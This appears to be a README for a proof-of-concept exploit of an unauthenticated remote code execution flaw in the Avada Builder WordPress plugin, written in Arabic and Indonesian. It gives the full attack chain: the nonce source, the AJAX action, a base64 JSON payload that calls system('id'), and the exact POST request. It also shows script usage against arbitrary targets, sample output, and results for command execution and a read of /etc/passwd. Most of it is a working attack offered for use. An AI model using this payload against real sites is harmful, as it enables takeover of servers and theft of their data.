
CVE-2026-6279 — Avada Builder <= 3.15.2 ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة عبر call_user_func()
ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) بدون مصادقة في إضافة Avada Builder (Fusion Builder) الإصدار <= 3.15.2 المستخدمة في قالب WordPress Avada — أحد أشهر قوالب WordPress المدفوعة مع +900,000 تثبيت نشط.
يستغل الهجوم معالج AJAX wp_ajax_nopriv_fusion_get_widget_markup الذي يعالج المعامل render_logics عبر base64_decode() + json_decode() ثم يمرّره إلى call_user_func() بدون قائمة بيضاء (allowlist)، مما يسمح بتنفيذ دوال PHP عشوائية مثل system() وpassthru() وshell_exec() وexec() وfile_get_contents().
1. Nonce Deterministik wp_create_nonce('fusion_load_nonce') untuk UID 0
(terekspos di halaman depan dengan shortcode Avada)
2. AJAX Unauthenticated wp_ajax_nopriv_fusion_get_widget_markup
(tidak memerlukan login)
3. Deserialisasi base64_decode(render_logics) → json_decode()
(tidak ada validasi struktur)
4. call_user_func() call_user_func($value['function'], $value['args'])
(TANPA allowlist — fungsi PHP apapun bisa dipanggil)
5. RCE! system("id") → uid=... di response body
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Single Target ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Target : localhost:8888
Waktu : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Mendeteksi target...
[+] Avada terdeteksi! (http://localhost:8888)
[*] Mencari nonce fusion_load_nonce...
[+] Nonce ditemukan: b6d7b084c2 (sumber: homepage)
[*] Mengirim payload RCE...
[*] Mencoba 5 fungsi × 3 widget = 15 kombinasi
══════════════════════════════════════════════════════
[★] RCE BERHASIL!
Target : http://localhost:8888
Output : uid=1000(xenon1337)
Fungsi : system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (homepage)
Waktu : 1.2s
[✓] Hasil disimpan ke vuln.txt
══════════════════════════════════════════════════════
# Tanpa protokol (auto-detect)
python3 CVE-2026-6279.py target.com
# Dengan protokol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Dengan port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
ترميز Base64 → يُرسَل كـ render_logics عبر POST إلى wp-admin/admin-ajax.php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] أو [fusion_table_of_contents]check_ajax_referer('fusion_load_nonce') يتحقق فقط من صحة nonce، وليس من أن المستخدم مصادَق عليهيقبل call_user_func($function, $args) وسيطًا واحدًا فقط. الدوال التي تتطلب وسيطين أو أكثر (مثل proc_open وpopen) لا يمكن استغلالها. تعمل فقط الدوال ذات الوسيط الواحد: system وpassthru وshell_exec وexec وfile_get_contents.
9.8 حرجة (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() في get_value()wp_ajax_nopriv_ على المستخدمين المصادَق عليهم فقطrender_logicsصُمم إثبات المفهوم (PoC) هذا لأغراض تعليمية وبحوث أمنية فقط. استخدامه ضد أنظمة بدون إذن غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.
Copyright © 2026 XENON1337
شكر خاص: Shadow Girlfriend 💜
| الدالة | الوسيط | النتيجة |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| الملف | السطر | الدالة |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — فك تسلسل (deserialize) render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — call_user_func() بدون قائمة بيضاء |
fusion-widget.php | L44 | سمة render_logics |
fusion-widget.php | L389 | معالج AJAX wp_ajax_nopriv_ |
class-fusion-builder.php | L7551 | تسجيل nonce (حتمي لـ UID 0) |